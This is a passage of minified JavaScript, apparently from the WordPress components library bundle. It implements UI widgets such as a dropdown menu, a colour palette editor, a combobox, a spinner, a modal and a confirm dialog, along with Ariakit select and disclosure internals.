r=["ArrowDown"],o=["ArrowUp"];return"horizontal"===t&&(r=["ArrowRight"],o=["ArrowLeft"]),"both"===t&&(r=["ArrowRight","ArrowDown"],o=["ArrowLeft","ArrowUp"]),r.includes(n)?1:o.includes(n)?-1:["ArrowDown","ArrowUp","ArrowLeft","ArrowRight"].includes(n)?0:void 0},...n})})),kN=CN;function jN(e={},t={}){const n={...e,...t};return t.className&&e.className&&(n.className=s(t.className,e.className)),n}function EN(e){return"function"==typeof e}const PN=ll((function(e){const{children:t,className:n,controls:r,icon:o=vN,label:i,popoverProps:a,toggleProps:l,menuProps:c,disableOpenOnArrowDown:u=!1,text:d,noIcons:p,open:f,defaultOpen:h,onToggle:m,variant:g}=sl(e,"DropdownMenu");if(!r?.length&&!EN(t))return null;let v;r?.length&&(v=r,Array.isArray(v[0])||(v=[r]));const b=jN({className:"components-dropdown-menu__popover",variant:g},a);return(0,_t.jsx)(W_,{className:n,popoverProps:b,renderToggle:({isOpen:e,onToggle:t})=>{var n;const{as:r=Jx,...a}=null!=l?l:{},c=jN({className:s("components-dropdown-menu__toggle",{"is-opened":e})},a);return(0,_t.jsx)(r,{...c,icon:o,onClick:e=>{t(),c.onClick&&c.onClick(e)},onKeyDown:n=>{(n=>{u||e||"ArrowDown"!==n.code||(n.preventDefault(),t())})(n),c.onKeyDown&&c.onKeyDown(n)},"aria-haspopup":"true","aria-expanded":e,label:i,text:d,showTooltip:null===(n=l?.showTooltip)||void 0===n||n,children:c.children})},renderContent:e=>{const n=jN({"aria-label":i,className:s("components-dropdown-menu__menu",{"no-icons":p})},c);return(0,_t.jsxs)(kN,{...n,role:"menu",children:[EN(t)?t(e):null,v?.flatMap(((t,n)=>t.map(((t,r)=>(0,_t.jsx)(Jx,{__next40pxDefaultSize:!0,onClick:n=>{n.stopPropagation(),e.onClose(),t.onClick&&t.onClick()},className:s("components-dropdown-menu__menu-item",{"has-separator":n>0&&0===r,"is-active":t.isActive,"is-icon-only":!t.title}),icon:t.icon,label:t.label,"aria-checked":"menuitemcheckbox"===t.role||"menuitemradio"===t.role?t.isActive:void 0,role:"menuitemcheckbox"===t.role||"menuitemradio"===t.role?t.role:"menuitem",accessibleWhenDisabled:!0,disabled:t.isDisabled,children:t.title},[n,r].join())))))]})},open:f,defaultOpen:h,onToggle:m})}),"DropdownMenu"),NN=PN;const TN=yl(F_,{target:"e1lpqc908"})("&&{flex-shrink:0;width:",Il(6),";height:",Il(6),";}"),IN=yl(qx,{target:"e1lpqc907"})(Qv,"{background:",zl.gray[100],";border-radius:",Fl.radiusXSmall,";",ib,ib,ib,ib,"{height:",Il(8),";}",Kv,Kv,Kv,"{border-color:transparent;box-shadow:none;}}"),RN=yl("div",{target:"e1lpqc906"})("line-height:",Il(8),";margin-left:",Il(2),";margin-right:",Il(2),";white-space:nowrap;overflow:hidden;"),MN=yl(mk,{target:"e1lpqc905"})("text-transform:uppercase;line-height:",Il(6),";font-weight:500;&&&{font-size:11px;margin-bottom:0;}"),AN=yl(_l,{target:"e1lpqc904"})("height:",Il(6),";display:flex;"),DN=yl(_l,{target:"e1lpqc903"})("margin-top:",Il(2),";"),zN=yl(_l,{target:"e1lpqc902"})({name:"u6wnko",styles:"&&&{.components-button.has-icon{min-width:0;padding:0;}}"}),ON=yl(Jx,{target:"e1lpqc901"})("&&{color:",zl.theme.accent,";}"),LN=yl(Jx,{target:"e1lpqc900"})("&&{margin-top:",Il(1),";}");function FN({value:e,onChange:t,label:n}){return(0,_t.jsx)(IN,{size:"compact",label:n,hideLabelFromVision:!0,value:e,onChange:t})}function BN({isGradient:e,element:t,onChange:n,popoverProps:r,onClose:o=()=>{}}){const i=(0,c.useMemo)((()=>({shift:!0,offset:20,resize:!1,placement:"left-start",...r,className:s("components-palette-edit__popover",r?.className)})),[r]);return(0,_t.jsxs)(jw,{...i,onClose:o,children:[!e&&(0,_t.jsx)(nk,{color:t.color,enableAlpha:!0,onChange:e=>{n({...t,color:e})}}),e&&(0,_t.jsx)("div",{className:"components-palette-edit__popover-gradient-picker",children:(0,_t.jsx)(dN,{__experimentalIsRenderedInSidebar:!0,value:t.gradient,onChange:e=>{n({...t,gradient:e})}})})]})}function VN({canOnlyChangeValues:e,element:t,onChange:n,onRemove:r,popoverProps:o,slugPrefix:i,isGradient:s}){const l=s?t.gradient:t.color,[u,d]=(0,c.useState)(!1),[p,f]=(0,c.useState)(null),h=(0,c.useMemo)((()=>({...o,anchor:p})),[p,o]);return(0,_t.jsxs)(LP,{ref:f,size:"small",children:[(0,_t.jsxs)(fy,{justify:"flex-start",children:[(0,_t.jsx)(Jx,{size:"small",onClick:()=>{d(!0)},"aria-label":(0,a.sprintf)((0,a.__)("Edit: %s"),t.name.trim().length?t.name:l),style:{padding:0},children:(0,_t.jsx)(TN,{colorValue:l})}),(0,_t.jsx)(Fg,{children:e?(0,_t.jsx)(RN,{children:t.name.trim().length?t.name:" "}):(0,_t.jsx)(FN,{label:s?(0,a.__)("Gradient name"):(0,a.__)("Color name"),value:t.name,onChange:e=>n({...t,name:e,slug:i+Ty(null!=e?e:"")})})}),!e&&(0,_t.jsx)(Fg,{children:(0,_t.jsx)(LN,{size:"small",icon:Gw,label:(0,a.sprintf)((0,a.__)("Remove color: %s"),t.name.trim().length?t.name:l),onClick:r})})]}),u&&(0,_t.jsx)(BN,{isGradient:s,onChange:n,element:t,popoverProps:h,onClose:()=>d(!1)})]})}function $N({elements:e,onChange:t,canOnlyChangeValues:n,slugPrefix:r,isGradient:o,popoverProps:i,addColorRef:s}){const a=(0,c.useRef)();(0,c.useEffect)((()=>{a.current=e}),[e]);const u=(0,l.useDebounce)((e=>t(function(e){const t={};return e.map((e=>{var n;let r;const{slug:o}=e;return t[o]=(t[o]||0)+1,t[o]>1&&(r=`${o}-${t[o]-1}`),{...e,slug:null!==(n=r)&&void 0!==n?n:o}}))}(e))),100);return(0,_t.jsx)(pk,{spacing:3,children:(0,_t.jsx)(FP,{isRounded:!0,isBordered:!0,isSeparated:!0,children:e.map(((a,l)=>(0,_t.jsx)(VN,{isGradient:o,canOnlyChangeValues:n,element:a,onChange:t=>{u(e.map(((e,n)=>n===l?t:e)))},onRemove:()=>{const n=e.filter(((e,t)=>t!==l));t(n.length?n:void 0),s.current?.focus()},slugPrefix:r,popoverProps:i},l)))})})}const HN=[];const WN=function({gradients:e,colors:t=HN,onChange:n,paletteLabel:r,paletteLabelHeadingLevel:o=2,emptyMessage:i,canOnlyChangeValues:s,canReset:u,slugPrefix:d="",popoverProps:p}){const f=!!e,h=f?e:t,[m,g]=(0,c.useState)(!1),[v,b]=(0,c.useState)(null),x=m&&!!v&&h[v]&&!h[v].slug,y=h.length>0,w=(0,l.useDebounce)(n,100),_=(0,c.useCallback)(((e,t)=>{const n=void 0===t?void 0:h[t];n&&n[f?"gradient":"color"]===e?b(t):g(!0)}),[f,h]),S=(0,c.useRef)(null);return(0,_t.jsxs)(zN,{children:[(0,_t.jsxs)(fy,{children:[(0,_t.jsx)(MN,{level:o,children:r}),(0,_t.jsxs)(AN,{children:[y&&m&&(0,_t.jsx)(ON,{size:"small",onClick:()=>{g(!1),b(null)},children:(0,a.__)("Done")}),!s&&(0,_t.jsx)(Jx,{ref:S,size:"small",isPressed:x,icon:Og,label:f?(0,a.__)("Add gradient"):(0,a.__)("Add color"),onClick:()=>{const{name:r,slug:o}=function(e,t){const n=new RegExp(`^${t}color-([\\d]+)$`),r=e.reduce(((e,t)=>{if("string"==typeof t?.slug){const r=t?.slug.match(n);if(r){const t=parseInt(r[1],10);if(t>=e)return t+1}}return e}),1);return{name:(0,a.sprintf)((0,a.__)("Color %s"),r),slug:`${t}color-${r}`}}(h,d);n(e?[...e,{gradient:JP,name:r,slug:o}]:[...t,{color:"#000",name:r,slug:o}]),g(!0),b(h.length)}}),y&&(!m||!s||u)&&(0,_t.jsx)(NN,{icon:_P,label:f?(0,a.__)("Gradient options"):(0,a.__)("Color options"),toggleProps:{size:"small"},children:({onClose:e})=>(0,_t.jsx)(_t.Fragment,{children:(0,_t.jsxs)(kN,{role:"menu",children:[!m&&(0,_t.jsx)(Jx,{__next40pxDefaultSize:!0,variant:"tertiary",onClick:()=>{g(!0),e()},className:"components-palette-edit__menu-button",children:(0,a.__)("Show details")}),!s&&(0,_t.jsx)(Jx,{__next40pxDefaultSize:!0,variant:"tertiary",onClick:()=>{b(null),g(!1),n(),e()},className:"components-palette-edit__menu-button",children:f?(0,a.__)("Remove all gradients"):(0,a.__)("Remove all colors")}),u&&(0,_t.jsx)(Jx,{__next40pxDefaultSize:!0,className:"components-palette-edit__menu-button",variant:"tertiary",onClick:()=>{b(null),n(),e()},children:f?(0,a.__)("Reset gradient"):(0,a.__)("Reset colors")})]})})})]})]}),y&&(0,_t.jsxs)(DN,{children:[m&&(0,_t.jsx)($N,{canOnlyChangeValues:s,elements:h,onChange:n,slugPrefix:d,isGradient:f,popoverProps:p,addColorRef:S}),!m&&null!==v&&(0,_t.jsx)(BN,{isGradient:f,onClose:()=>b(null),onChange:e=>{w(h.map(((t,n)=>n===v?e:t)))},element:h[null!=v?v:-1],popoverProps:p}),!m&&(f?(0,_t.jsx)(gN,{gradients:e,onChange:_,clearable:!1,disableCustomGradients:!0}):(0,_t.jsx)(jk,{colors:t,onChange:_,clearable:!1,disableCustomColors:!0}))]}),!y&&i&&(0,_t.jsx)(DN,{children:i})]})},UN=(0,_t.jsx)(n.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,_t.jsx)(n.Path,{d:"M12 13.06l3.712 3.713 1.061-1.06L13.061 12l3.712-3.712-1.06-1.06L12 10.938 8.288 7.227l-1.061 1.06L10.939 12l-3.712 3.712 1.06 1.061L12 13.061z"})}),GN=({__next40pxDefaultSize:e})=>!e&&Nl("height:28px;padding-left:",Il(1),";padding-right:",Il(1),";",""),KN=yl(kg,{target:"evuatpg0"})("height:38px;padding-left:",Il(2),";padding-right:",Il(2),";",GN,";");const qN=(0,c.forwardRef)((function(e,t){const{value:n,isExpanded:r,instanceId:o,selectedSuggestionIndex:i,className:a,onChange:l,onFocus:u,onBlur:d,...p}=e,[f,h]=(0,c.useState)(!1),m=n?n.length+1:0;return(0,_t.jsx)("input",{ref:t,id:`components-form-token-input-${o}`,type:"text",...p,value:n||"",onChange:e=>{l&&l({value:e.target.value})},onFocus:e=>{h(!0),u?.(e)},onBlur:e=>{h(!1),d?.(e)},size:m,className:s(a,"components-form-token-field__input"),autoComplete:"off",role:"combobox","aria-expanded":r,"aria-autocomplete":"list","aria-owns":r?`components-form-token-suggestions-${o}`:void 0,"aria-activedescendant":f&&-1!==i&&r?`components-form-token-suggestions-${o}-${i}`:void 0,"aria-describedby":`components-form-token-suggestions-howto-${o}`})})),YN=qN,XN=e=>{e.preventDefault()};const ZN=function({selectedIndex:e,scrollIntoView:t,match:n,onHover:r,onSelect:o,suggestions:i=[],displayTransform:c,instanceId:u,__experimentalRenderItem:d}){const p=(0,l.useRefEffect)((n=>(e>-1&&t&&n.children[e]&&n.children[e].scrollIntoView({behavior:"instant",block:"nearest",inline:"nearest"}),()=>{0})),[e,t]),f=e=>()=>{r?.(e)},h=e=>()=>{o?.(e)};return(0,_t.jsxs)("ul",{ref:p,className:"components-form-token-field__suggestions-list",id:`components-form-token-suggestions-${u}`,role:"listbox",children:[i.map(((t,r)=>{const o=(e=>{const t=c(n).toLocaleLowerCase();if(0===t.length)return null;const r=c(e),o=r.toLocaleLowerCase().indexOf(t);return{suggestionBeforeMatch:r.substring(0,o),suggestionMatch:r.substring(o,o+t.length),suggestionAfterMatch:r.substring(o+t.length)}})(t),i=r===e,a="object"==typeof t&&t?.disabled,l="object"==typeof t&&"value"in t?t?.value:c(t),p=s("components-form-token-field__suggestion",{"is-selected":i});let m;return m="function"==typeof d?d({item:t}):o?(0,_t.jsxs)("span",{"aria-label":c(t),children:[o.suggestionBeforeMatch,(0,_t.jsx)("strong",{className:"components-form-token-field__suggestion-match",children:o.suggestionMatch}),o.suggestionAfterMatch]}):c(t),(0,_t.jsx)("li",{id:`components-form-token-suggestions-${u}-${r}`,role:"option",className:p,onMouseDown:XN,onClick:h(t),onMouseEnter:f(t),"aria-selected":r===e,"aria-disabled":a,children:m},l)})),0===i.length&&(0,_t.jsx)("li",{className:"components-form-token-field__suggestion is-empty",children:(0,a.__)("No items found")})]})},QN=(0,l.createHigherOrderComponent)((e=>t=>{const[n,r]=(0,c.useState)(void 0),o=(0,c.useCallback)((e=>r((()=>e?.handleFocusOutside?e.handleFocusOutside.bind(e):void 0))),[]);return(0,_t.jsx)("div",{...(0,l.__experimentalUseFocusOutside)(n),children:(0,_t.jsx)(e,{ref:o,...t})})}),"withFocusOutside");const JN=Tl` from { transform: rotate(0deg); } to { transform: rotate(360deg); } `,eT=yl("svg",{target:"ea4tfvq2"})("width:",Fl.spinnerSize,"px;height:",Fl.spinnerSize,"px;display:inline-block;margin:5px 11px 0;position:relative;color:",zl.theme.accent,";overflow:visible;opacity:1;background-color:transparent;"),tT={name:"9s4963",styles:"fill:transparent;stroke-width:1.5px"},nT=yl("circle",{target:"ea4tfvq1"})(tT,";stroke:",zl.gray[300],";"),rT=yl("path",{target:"ea4tfvq0"})(tT,";stroke:currentColor;stroke-linecap:round;transform-origin:50% 50%;animation:1.4s linear infinite both ",JN,";");const oT=(0,c.forwardRef)((function({className:e,...t},n){return(0,_t.jsxs)(eT,{className:s("components-spinner",e),viewBox:"0 0 100 100",width:"16",height:"16",xmlns:"http://www.w3.org/2000/svg",role:"presentation",focusable:"false",...t,ref:n,children:[(0,_t.jsx)(nT,{cx:"50",cy:"50",r:"50",vectorEffect:"non-scaling-stroke"}),(0,_t.jsx)(rT,{d:"m 50 0 a 50 50 0 0 1 50 50",vectorEffect:"non-scaling-stroke"})]})})),iT=()=>{},sT=QN(class extends c.Component{handleFocusOutside(e){this.props.onFocusOutside(e)}render(){return this.props.children}}),aT=(e,t)=>null===e?-1:t.indexOf(e);const lT=function e(t){var n;const{__nextHasNoMarginBottom:r=!1,__next40pxDefaultSize:o=!1,value:i,label:u,options:d,onChange:p,onFilterValueChange:f=iT,hideLabelFromVision:h,help:m,allowReset:g=!0,className:v,isLoading:b=!1,messages:x={selected:(0,a.__)("Item selected.")},__experimentalRenderItem:y,expandOnFocus:w=!0,placeholder:_}=hb(t),[S,C]=f_({value:i,onChange:p}),k=d.find((e=>e.value===S)),j=null!==(n=k?.label)&&void 0!==n?n:"",E=(0,l.useInstanceId)(e,"combobox-control"),[P,N]=(0,c.useState)(k||null),[T,I]=(0,c.useState)(!1),[R,M]=(0,c.useState)(!1),[A,D]=(0,c.useState)(""),z=(0,c.useRef)(null),O=(0,c.useMemo)((()=>{const e=[],t=[],n=Ny(A);return d.forEach((r=>{const o=Ny(r.label).indexOf(n);0===o?e.push(r):o>0&&t.push(r)})),e.concat(t)}),[A,d]),L=e=>{e.disabled||(C(e.value),(0,jy.speak)(x.selected,"assertive"),N(e),D(""),I(!1))},F=(e=1)=>{let t=aT(P,O)+e;t<0?t=O.length-1:t>=O.length&&(t=0),N(O[t]),I(!0)},B=jx((e=>{let t=!1;if(!e.defaultPrevented){switch(e.code){case"Enter":P&&(L(P),t=!0);break;case"ArrowUp":F(-1),t=!0;break;case"ArrowDown":F(1),t=!0;break;case"Escape":I(!1),N(null),t=!0}t&&e.preventDefault()}}));return(0,c.useEffect)((()=>{const e=O.length>0,t=aT(P,O)>0;e&&!t&&N(O[0])}),[O,P]),(0,c.useEffect)((()=>{const e=O.length>0;if(T){const t=e?(0,a.sprintf)((0,a._n)("%d result found, use up and down arrow keys to navigate.","%d results found, use up and down arrow keys to navigate.",O.length),O.length):(0,a.__)("No results.");(0,jy.speak)(t,"polite")}}),[O,T]),Ux({componentName:"ComboboxControl",__next40pxDefaultSize:o,size:void 0}),(0,_t.jsx)(sT,{onFocusOutside:()=>{I(!1)},children:(0,_t.jsx)(Wx,{__nextHasNoMarginBottom:r,__associatedWPComponentName:"ComboboxControl",className:s(v,"components-combobox-control"),label:u,id:`components-form-token-input-${E}`,hideLabelFromVision:h,help:m,children:(0,_t.jsxs)("div",{className:"components-combobox-control__suggestions-container",tabIndex:-1,onKeyDown:B,children:[(0,_t.jsxs)(KN,{__next40pxDefaultSize:o,children:[(0,_t.jsx)(Eg,{children:(0,_t.jsx)(YN,{className:"components-combobox-control__input",instanceId:E,ref:z,placeholder:_,value:T?A:j,onFocus:()=>{M(!0),w&&I(!0),f(""),D("")},onBlur:()=>{M(!1)},onClick:()=>{I(!0)},isExpanded:T,selectedSuggestionIndex:aT(P,O),onChange:e=>{const t=e.value;D(t),f(t),R&&I(!0)}})}),b&&(0,_t.jsx)(oT,{}),g&&(0,_t.jsx)(Jx,{size:"small",icon:UN,disabled:!S,onClick:()=>{C(null),z.current?.focus()},onKeyDown:e=>{e.stopPropagation()},label:(0,a.__)("Reset")})]}),T&&!b&&(0,_t.jsx)(ZN,{instanceId:E,match:{label:A,value:""},displayTransform:e=>e.label,suggestions:O,selectedIndex:aT(P,O),onHover:N,onSelect:L,scrollIntoView:!0,__experimentalRenderItem:y})]})})})};function cT(e){if(e.state){const{state:t,...n}=e,{store:r,...o}=cT(t);return{...n,...o,store:r}}return e}const uT={__unstableComposite:"Composite",__unstableCompositeGroup:"Composite.Group or Composite.Row",__unstableCompositeItem:"Composite.Item",__unstableUseCompositeState:"Composite"};function dT(e,t={}){var n;const r=null!==(n=e.displayName)&&void 0!==n?n:"",o=n=>{Xi()(`wp.components.${r}`,{since:"6.7",alternative:uT.hasOwnProperty(r)?uT[r]:void 0});const{store:o,...i}=cT(n);let s=i;return s={...s,id:(0,l.useInstanceId)(o,s.baseId,s.id)},Object.entries(t).forEach((([e,t])=>{s.hasOwnProperty(e)&&(Object.assign(s,{[t]:s[e]}),delete s[e])})),delete s.baseId,(0,_t.jsx)(e,{...s,store:o})};return o.displayName=r,o}const pT=(0,c.forwardRef)((({role:e,...t},n)=>{const r="row"===e?Gn.Row:Gn.Group;return(0,_t.jsx)(r,{ref:n,role:e,...t})})),fT=dT(Object.assign(Gn,{displayName:"__unstableComposite"}),{baseId:"id"}),hT=dT(Object.assign(pT,{displayName:"__unstableCompositeGroup"})),mT=dT(Object.assign(Gn.Item,{displayName:"__unstableCompositeItem"}),{focusable:"accessibleWhenDisabled"});function gT(e={}){Xi()("wp.components.__unstableUseCompositeState",{since:"6.7",alternative:uT.__unstableUseCompositeState});const{baseId:t,currentId:n,orientation:r,rtl:o=!1,loop:i=!1,wrap:s=!1,shift:a=!1,unstable_virtual:c}=e;return{baseId:(0,l.useInstanceId)(fT,"composite",t),store:vt({defaultActiveId:n,rtl:o,orientation:r,focusLoop:i,focusShift:a,focusWrap:s,virtualFocus:c})}}const vT=new Set(["alert","status","log","marquee","timer"]),bT=[];function xT(e){const t=e.getAttribute("role");return!("SCRIPT"===e.tagName||e.hasAttribute("hidden")||e.hasAttribute("aria-hidden")||e.hasAttribute("aria-live")||t&&vT.has(t))}const yT=Fl.transitionDuration,wT=Number.parseInt(Fl.transitionDuration);const _T=(0,c.createContext)(new Set),ST=new Map;const CT=(0,c.forwardRef)((function(e,t){const{bodyOpenClassName:n="modal-open",role:r="dialog",title:o=null,focusOnMount:i=!0,shouldCloseOnEsc:u=!0,shouldCloseOnClickOutside:d=!0,isDismissible:p=!0,aria:f={labelledby:void 0,describedby:void 0},onRequestClose:h,icon:m,closeButtonLabel:g,children:v,style:b,overlayClassName:x,className:y,contentLabel:w,onKeyDown:_,isFullScreen:S=!1,size:C,headerActions:k=null,__experimentalHideHeader:j=!1}=e,E=(0,c.useRef)(),P=(0,l.useInstanceId)(CT),N=o?`components-modal-header-${P}`:f.labelledby,T=(0,l.useFocusOnMount)("firstContentElement"===i?"firstElement":i),I=(0,l.useConstrainedTabbing)(),R=(0,l.useFocusReturn)(),M=(0,c.useRef)(null),A=(0,c.useRef)(null),[D,z]=(0,c.useState)(!1),[O,L]=(0,c.useState)(!1);let F;S||"fill"===C?F="is-full-screen":C&&(F=`has-size-${C}`);const B=(0,c.useCallback)((()=>{if(!M.current)return;const e=(0,bN.getScrollContainer)(M.current);M.current===e?L(!0):L(!1)}),[M]);(0,c.useEffect)((()=>(function(e){const t=Array.from(document.body.children),n=[];bT.push(n);for(const r of t)r!==e&&xT(r)&&(r.setAttribute("aria-hidden","true"),n.push(r))}(E.current),()=>function(){const e=bT.pop();if(e)for(const t of e)t.removeAttribute("aria-hidden")}())),[]);const V=(0,c.useRef)();(0,c.useEffect)((()=>{V.current=h}),[h]);const $=(0,c.useContext)(_T),[H]=(0,c.useState)((()=>new Set));(0,c.useEffect)((()=>{$.add(V);for(const e of $)e!==V&&e.current?.();return()=>{for(const e of H)e.current?.();$.delete(V)}}),[$,H]),(0,c.useEffect)((()=>{var e;const t=n,r=1+(null!==(e=ST.get(t))&&void 0!==e?e:0);return ST.set(t,r),document.body.classList.add(n),()=>{const e=ST.get(t)-1;0===e?(document.body.classList.remove(t),ST.delete(t)):ST.set(t,e)}}),[n]);const{closeModal:W,frameRef:U,frameStyle:G,overlayClassname:K}=function(){const e=(0,c.useRef)(),[t,n]=(0,c.useState)(!1),r=(0,l.useReducedMotion)(),o=(0,c.useCallback)((()=>new Promise((t=>{const o=e.current;if(r)return void t();if(!o)return void t();let i;Promise.race([new Promise((e=>{i=t=>{"components-modal__disappear-animation"===t.animationName&&e()},o.addEventListener("animationend",i),n(!0)})),new Promise((e=>{setTimeout((()=>e()),1.2*wT)}))]).then((()=>{i&&o.removeEventListener("animationend",i),n(!1),t()}))}))),[r]);return{overlayClassname:t?"is-animating-out":void 0,frameRef:e,frameStyle:{"--modal-frame-animation-duration":`${yT}`},closeModal:o}}();(0,c.useLayoutEffect)((()=>{if(!window.ResizeObserver||!A.current)return;const e=new ResizeObserver(B);return e.observe(A.current),B(),()=>{e.disconnect()}}),[B,A]);const q=(0,c.useCallback)((e=>{var t;const n=null!==(t=e?.currentTarget?.scrollTop)&&void 0!==t?t:-1;!D&&n>0?z(!0):D&&n<=0&&z(!1)}),[D]);let Y=null;const X={onPointerDown:e=>{e.target===e.currentTarget&&(Y=e.target,e.preventDefault())},onPointerUp:({target:e,button:t})=>{const n=e===Y;Y=null,0===t&&n&&W().then((()=>h()))}},Z=(0,_t.jsx)("div",{ref:(0,l.useMergeRefs)([E,t]),className:s("components-modal__screen-overlay",K,x),onKeyDown:jx((function(e){!u||"Escape"!==e.code&&"Escape"!==e.key||e.defaultPrevented||(e.preventDefault(),W().then((()=>h(e))))})),...d?X:{},children:(0,_t.jsx)(lw,{document,children:(0,_t.jsx)("div",{className:s("components-modal__frame",F,y),style:{...G,...b},ref:(0,l.useMergeRefs)([U,I,R,"firstContentElement"!==i?T:null]),role:r,"aria-label":w,"aria-labelledby":w?void 0:N,"aria-describedby":f.describedby,tabIndex:-1,onKeyDown:_,children:(0,_t.jsxs)("div",{className:s("components-modal__content",{"hide-header":j,"is-scrollable":O,"has-scrolled-content":D}),role:"document",onScroll:q,ref:M,"aria-label":O?(0,a.__)("Scrollable section"):void 0,tabIndex:O?0:void 0,children:[!j&&(0,_t.jsxs)("div",{className:"components-modal__header",children:[(0,_t.jsxs)("div",{className:"components-modal__header-heading-container",children:[m&&(0,_t.jsx)("span",{className:"components-modal__icon-container","aria-hidden":!0,children:m}),o&&(0,_t.jsx)("h1",{id:N,className:"components-modal__header-heading",children:o})]}),k,p&&(0,_t.jsxs)(_t.Fragment,{children:[(0,_t.jsx)(zg,{marginBottom:0,marginLeft:2}),(0,_t.jsx)(Jx,{size:"compact",onClick:e=>W().then((()=>h(e))),icon:Fy,label:g||(0,a.__)("Close")})]})]}),(0,_t.jsx)("div",{ref:(0,l.useMergeRefs)([A,"firstContentElement"===i?T:null]),children:v})]})})})});return(0,c.createPortal)((0,_t.jsx)(_T.Provider,{value:H,children:Z}),document.body)})),kT=CT;const jT={name:"7g5ii0",styles:"&&{z-index:1000001;}"},ET=al(((e,t)=>{const{isOpen:n,onConfirm:r,onCancel:o,children:i,confirmButtonText:s,cancelButtonText:l,...u}=sl(e,"ConfirmDialog"),d=il()(jT),p=(0,c.useRef)(),f=(0,c.useRef)(),[h,m]=(0,c.useState)(),[g,v]=(0,c.useState)();(0,c.useEffect)((()=>{const e=void 0!==n;m(!e||n),v(!e)}),[n]);const b=(0,c.useCallback)((e=>t=>{e?.(t),g&&m(!1)}),[g,m]),x=(0,c.useCallback)((e=>{e.target===p.current||e.target===f.current||"Enter"!==e.key||b(r)(e)}),[b,r]),y=null!=l?l:(0,a.__)("Cancel"),w=null!=s?s:(0,a.__)("OK");return(0,_t.jsx)(_t.Fragment,{children:h&&(0,_t.jsx)(kT,{onRequestClose:b(o),onKeyDown:x,closeButtonLabel:y,isDismissible:!0,ref:t,overlayClassName:d,__experimentalHideHeader:!0,...u,children:(0,_t.jsxs)(pk,{spacing:8,children:[(0,_t.jsx)($v,{children:i}),(0,_t.jsxs)(kg,{direction:"row",justify:"flex-end",children:[(0,_t.jsx)(Jx,{__next40pxDefaultSize:!0,ref:p,variant:"tertiary",onClick:b(o),children:y}),(0,_t.jsx)(Jx,{__next40pxDefaultSize:!0,ref:f,variant:"primary",onClick:b(r),children:w})]})]})})})}),"ConfirmDialog");(0,B.createContext)(void 0);var PT=Et([gr,Mt],[vr,At]),NT=PT.useContext,TT=(PT.useScopedContext,PT.useProviderContext);PT.ContextProvider,PT.ScopedContextProvider,(0,B.createContext)(void 0),(0,B.createContext)(!1);function IT(e={}){var t=e,{combobox:n}=t,r=N(t,["combobox"]);const o=Xe(r.store,Ye(n,["value","items","renderedItems","baseElement","arrowElement","anchorElement","contentElement","popoverElement","disclosureElement"])),i=o.getState(),s=ht(P(E({},r),{store:o,virtualFocus:F(r.virtualFocus,i.virtualFocus,!0),includesBaseElement:F(r.includesBaseElement,i.includesBaseElement,!1),activeId:F(r.activeId,i.activeId,r.defaultActiveId,null),orientation:F(r.orientation,i.orientation,"vertical")})),a=er(P(E({},r),{store:o,placement:F(r.placement,i.placement,"bottom-start")})),l=new String(""),c=P(E(E({},s.getState()),a.getState()),{value:F(r.value,i.value,r.defaultValue,l),setValueOnMove:F(r.setValueOnMove,i.setValueOnMove,!1),labelElement:F(i.labelElement,null),selectElement:F(i.selectElement,null),listElement:F(i.listElement,null)}),u=He(c,s,a,o);return We(u,(()=>Ke(u,["value","items"],(e=>{if(e.value!==l)return;if(!e.items.length)return;const t=e.items.find((e=>!e.disabled&&null!=e.value));null!=(null==t?void 0:t.value)&&u.setState("value",t.value)})))),We(u,(()=>Ke(u,["mounted"],(e=>{e.mounted||u.setState("activeId",c.activeId)})))),We(u,(()=>Ke(u,["mounted","items","value"],(e=>{if(n)return;if(e.mounted)return;const t=st(e.value),r=t[t.length-1];if(null==r)return;const o=e.items.find((e=>!e.disabled&&e.value===r));o&&u.setState("activeId",o.id)})))),We(u,(()=>qe(u,["setValueOnMove","moves"],(e=>{const{mounted:t,value:n,activeId:r}=u.getState();if(!e.setValueOnMove&&t)return;if(Array.isArray(n))return;if(!e.moves)return;if(!r)return;const o=s.item(r);o&&!o.disabled&&null!=o.value&&u.setState("value",o.value)})))),P(E(E(E({},s),a),u),{combobox:n,setValue:e=>u.setState("value",e),setLabelElement:e=>u.setState("labelElement",e),setSelectElement:e=>u.setState("selectElement",e),setListElement:e=>u.setState("listElement",e)})}function RT(e={}){e=function(e){const t=TT();return mt(e=b(v({},e),{combobox:void 0!==e.combobox?e.combobox:t}))}(e);const[t,n]=rt(IT,e);return function(e,t,n){return Te(t,[n.combobox]),nt(e,n,"value","setValue"),nt(e,n,"setValueOnMove"),Object.assign(Qn(gt(e,t,n),t,n),{combobox:n.combobox})}(t,n,e)}var MT=Et([gr,Mt],[vr,At]),AT=MT.useContext,DT=MT.useScopedContext,zT=MT.useProviderContext,OT=(MT.ContextProvider,MT.ScopedContextProvider),LT=(0,B.createContext)(!1),FT=(0,B.createContext)(null),BT=jt((function(e){var t=e,{store:n}=t,r=x(t,["store"]);const o=zT();D(n=n||o,!1);const i=Pe(r.id),s=r.onClick,a=ke((e=>{null==s||s(e),e.defaultPrevented||queueMicrotask((()=>{const e=null==n?void 0:n.getState().selectElement;null==e||e.focus()}))}));return L(r=b(v({id:i},r),{ref:Ee(n.setLabelElement,r.ref),onClick:a,style:v({cursor:"default"},r.style)}))})),VT=Ct(St((function(e){return kt("div",BT(e))}))),$T="button",HT=jt((function(e){const t=(0,B.useRef)(null),n=Ne(t,$T),[r,o]=(0,B.useState)((()=>!!n&&Q({tagName:n,type:e.type})));return(0,B.useEffect)((()=>{t.current&&o(Q(t.current))}),[]),e=b(v({role:r||"a"===n?void 0:"button"},e),{ref:Ee(t,e.ref)}),e=Tn(e)})),WT=(St((function(e){const t=HT(e);return kt($T,t)})),Symbol("disclosure")),UT=jt((function(e){var t=e,{store:n,toggleOnClick:r=!0}=t,o=x(t,["store","toggleOnClick"]);const i=sr();D(n=n||i,!1);const s=(0,B.useRef)(null),[a,l]=(0,B.useState)(!1),c=n.useState("disclosureElement"),u=n.useState("open");(0,B.useEffect)((()=>{let e=c===s.current;(null==c?void 0:c.isConnected)||(null==n||n.setDisclosureElement(s.current),e=!0),l(u&&e)}),[c,n,u]);const d=o.onClick,p=Re(r),[f,h]=De(o,WT,!0),m=ke((e=>{null==d||d(e),e.defaultPrevented||f||p(e)&&(null==n||n.setDisclosureElement(e.currentTarget),null==n||n.toggle())})),g=n.useState("contentElement");return o=b(v(v({"aria-expanded":a,"aria-controls":null==g?void 0:g.id},h),o),{ref:Ee(s,o.ref),onClick:m}),o=HT(o)})),GT=(St((function(e){return kt("button",UT(e))})),jt((function(e){var 